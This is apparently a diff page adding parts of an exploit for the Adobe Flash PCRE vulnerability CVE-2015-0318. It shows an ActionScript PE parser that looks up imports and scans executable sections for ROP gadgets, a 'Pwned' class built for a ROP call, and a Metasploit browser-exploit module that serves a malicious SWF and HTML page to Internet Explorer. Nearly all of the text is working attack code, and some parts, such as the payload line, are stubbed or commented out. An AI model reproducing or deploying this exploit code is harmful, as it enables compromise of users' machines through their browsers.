import_descriptor += (5 * 4);
|
||||
orig_first_thunk = m.read_dword(import_descriptor);
|
||||
}
|
||||
|
||||
var first_thunk:uint = dos_header + m.read_dword(import_descriptor + 16);
|
||||
var thunk:uint = orig_first_thunk;
|
||||
var import_by_name_rva:uint = m.read_dword(thunk);
|
||||
while (import_by_name_rva != 0) {
|
||||
var function_name_ptr:uint = dos_header + import_by_name_rva + 2;
|
||||
|
||||
var function_name:String = m.read_string(function_name_ptr);
|
||||
if (function_name == fun_name) {
|
||||
return m.read_dword(first_thunk);
|
||||
}
|
||||
|
||||
thunk += 4;
|
||||
first_thunk += 4;
|
||||
import_by_name_rva = m.read_dword(thunk);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function GetGadget(gadget:ByteArray):uint {
|
||||
var opt_header_size:uint = m.read_dword(file_header + 16) & 0xffff;
|
||||
var section_count:uint = (m.read_dword(file_header) >> 16) & 0xffff;
|
||||
var section_header:uint = opt_header + opt_header_size;
|
||||
|
||||
for (var i:uint = 0; i < section_count; ++i) {
|
||||
var characteristics:uint = m.read_dword(section_header + (9 * 4));
|
||||
|
||||
if ((characteristics & 0xe0000000) == 0x60000000) {
|
||||
// this section is read/execute, so scan for gadget
|
||||
|
||||
var section_rva:uint = m.read_dword(section_header + 12);
|
||||
var section_size:uint = m.read_dword(section_header + 16);
|
||||
var section_base:uint = base + section_rva;
|
||||
var section:ByteArray = new ByteArray();
|
||||
section.endian = "littleEndian";
|
||||
section.length = section_size;
|
||||
|
||||
for (var j:uint = 0; j < section_size; j += 4) {
|
||||
section.writeUnsignedInt(
|
||||
m.read_dword(section_base + j));
|
||||
}
|
||||
|
||||
for (j = 0; j < section_size; j += 1) {
|
||||
section.position = j;
|
||||
gadget.position = 0;
|
||||
while (section.readByte() == gadget.readByte()) {
|
||||
if (gadget.position == gadget.length) {
|
||||
return section_base + j;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
section_header += 10 * 5;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function PE32(memory:Memory, ptr:uint) {
|
||||
m = memory;
|
||||
base = FindBase(ptr);
|
||||
ParseHeaders();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,51 @@
|
|||
package
|
||||
{
|
||||
public class Pwned
|
||||
{
|
||||
public var magic1:uint;
|
||||
public var magic2:uint;
|
||||
|
||||
public function Rop(
|
||||
arg_00:uint, arg_01:uint, arg_02:uint, arg_03:uint, arg_04:uint, arg_05:uint, arg_06:uint, arg_07:uint,
|
||||
arg_08:uint, arg_09:uint, arg_0a:uint, arg_0b:uint, arg_0c:uint, arg_0d:uint, arg_0e:uint, arg_0f:uint,
|
||||
arg_10:uint, arg_11:uint, arg_12:uint, arg_13:uint, arg_14:uint, arg_15:uint, arg_16:uint, arg_17:uint,
|
||||
arg_18:uint, arg_19:uint, arg_1a:uint, arg_1b:uint, arg_1c:uint, arg_1d:uint, arg_1e:uint, arg_1f:uint,
|
||||
arg_20:uint, arg_21:uint, arg_22:uint, arg_23:uint, arg_24:uint, arg_25:uint, arg_26:uint, arg_27:uint,
|
||||
arg_28:uint, arg_29:uint, arg_2a:uint, arg_2b:uint, arg_2c:uint, arg_2d:uint, arg_2e:uint, arg_2f:uint,
|
||||
arg_30:uint, arg_31:uint, arg_32:uint, arg_33:uint, arg_34:uint, arg_35:uint, arg_36:uint, arg_37:uint,
|
||||
arg_38:uint, arg_39:uint, arg_3a:uint, arg_3b:uint, arg_3c:uint, arg_3d:uint, arg_3e:uint, arg_3f:uint,
|
||||
arg_40:uint, arg_41:uint, arg_42:uint, arg_43:uint, arg_44:uint, arg_45:uint, arg_46:uint, arg_47:uint,
|
||||
arg_48:uint, arg_49:uint, arg_4a:uint, arg_4b:uint, arg_4c:uint, arg_4d:uint, arg_4e:uint, arg_4f:uint,
|
||||
arg_50:uint, arg_51:uint, arg_52:uint, arg_53:uint, arg_54:uint, arg_55:uint, arg_56:uint, arg_57:uint,
|
||||
arg_58:uint, arg_59:uint, arg_5a:uint, arg_5b:uint, arg_5c:uint, arg_5d:uint, arg_5e:uint, arg_5f:uint,
|
||||
arg_60:uint, arg_61:uint, arg_62:uint, arg_63:uint, arg_64:uint, arg_65:uint, arg_66:uint, arg_67:uint,
|
||||
arg_68:uint, arg_69:uint, arg_6a:uint, arg_6b:uint, arg_6c:uint, arg_6d:uint, arg_6e:uint, arg_6f:uint,
|
||||
arg_70:uint, arg_71:uint, arg_72:uint, arg_73:uint, arg_74:uint, arg_75:uint, arg_76:uint, arg_77:uint,
|
||||
arg_78:uint, arg_79:uint, arg_7a:uint, arg_7b:uint, arg_7c:uint, arg_7d:uint, arg_7e:uint, arg_7f:uint,
|
||||
arg_80:uint, arg_81:uint, arg_82:uint, arg_83:uint, arg_84:uint, arg_85:uint, arg_86:uint, arg_87:uint,
|
||||
arg_88:uint, arg_89:uint, arg_8a:uint, arg_8b:uint, arg_8c:uint, arg_8d:uint, arg_8e:uint, arg_8f:uint,
|
||||
arg_90:uint, arg_91:uint, arg_92:uint, arg_93:uint, arg_94:uint, arg_95:uint, arg_96:uint, arg_97:uint,
|
||||
arg_98:uint, arg_99:uint, arg_9a:uint, arg_9b:uint, arg_9c:uint, arg_9d:uint, arg_9e:uint, arg_9f:uint,
|
||||
arg_a0:uint, arg_a1:uint, arg_a2:uint, arg_a3:uint, arg_a4:uint, arg_a5:uint, arg_a6:uint, arg_a7:uint,
|
||||
arg_a8:uint, arg_a9:uint, arg_aa:uint, arg_ab:uint, arg_ac:uint, arg_ad:uint, arg_ae:uint, arg_af:uint,
|
||||
arg_b0:uint, arg_b1:uint, arg_b2:uint, arg_b3:uint, arg_b4:uint, arg_b5:uint, arg_b6:uint, arg_b7:uint,
|
||||
arg_b8:uint, arg_b9:uint, arg_ba:uint, arg_bb:uint, arg_bc:uint, arg_bd:uint, arg_be:uint, arg_bf:uint,
|
||||
arg_c0:uint, arg_c1:uint, arg_c2:uint, arg_c3:uint, arg_c4:uint, arg_c5:uint, arg_c6:uint, arg_c7:uint,
|
||||
arg_c8:uint, arg_c9:uint, arg_ca:uint, arg_cb:uint, arg_cc:uint, arg_cd:uint, arg_ce:uint, arg_cf:uint,
|
||||
arg_d0:uint, arg_d1:uint, arg_d2:uint, arg_d3:uint, arg_d4:uint, arg_d5:uint, arg_d6:uint, arg_d7:uint,
|
||||
arg_d8:uint, arg_d9:uint, arg_da:uint, arg_db:uint, arg_dc:uint, arg_dd:uint, arg_de:uint, arg_df:uint,
|
||||
arg_e0:uint, arg_e1:uint, arg_e2:uint, arg_e3:uint, arg_e4:uint, arg_e5:uint, arg_e6:uint, arg_e7:uint,
|
||||
arg_e8:uint, arg_e9:uint, arg_ea:uint, arg_eb:uint, arg_ec:uint, arg_ed:uint, arg_ee:uint, arg_ef:uint,
|
||||
arg_f0:uint, arg_f1:uint, arg_f2:uint, arg_f3:uint, arg_f4:uint, arg_f5:uint, arg_f6:uint, arg_f7:uint,
|
||||
arg_f8:uint, arg_f9:uint, arg_fa:uint, arg_fb:uint, arg_fc:uint, arg_fd:uint, arg_fe:uint, arg_ff:uint):uint
|
||||
{
|
||||
return magic1 + magic2;
|
||||
}
|
||||
|
||||
public function Pwned()
|
||||
{
|
||||
magic1 = 0xdecafbad;
|
||||
magic2 = 0xdecafbad;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,120 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000'
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Adobe Flash Player PCRE Regex Vulnerability",
|
||||
'Description' => %q{
|
||||
Flash
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Mark Brand' # Found vuln
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2015-0318' ],
|
||||
[ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ],
|
||||
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
# 'InitialAutoRunScript' => 'migrate -f',
|
||||
'Retries' => false
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
|
||||
:method => "LoadMovie",
|
||||
:os_name => OperatingSystems::Match::WINDOWS,
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
#:flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' }
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Nov 25 2014",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Request: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status("Sending SWF...")
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending HTML...")
|
||||
tag = retrieve_tag(cli, request)
|
||||
profile = get_profile(tag)
|
||||
profile[:tried] = false unless profile.nil? # to allow request the swf
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
def exploit_template(cli, target_info)
|
||||
|
||||
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||
#shellcode = get_payload(cli, target_info).unpack("H*")[0]
|
||||
|
||||
html_template = %Q|<html>
|
||||
<body>
|
||||
<object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||
<param name="movie" value="<%=swf_random%>" />
|
||||
<param name="allowScriptAccess" value="always" />
|
||||
<param name="FlashVars" value="" />
|
||||
<param name="Play" value="true" />
|
||||
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="" Play="true"/>
|
||||
</object>
|
||||
|
||||
<script>
|
||||
function debug_alert(msg) {
|
||||
alert(msg);
|
||||
}
|
||||
|
||||
function debug_print(msg) {
|
||||
alert(msg);
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" )
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue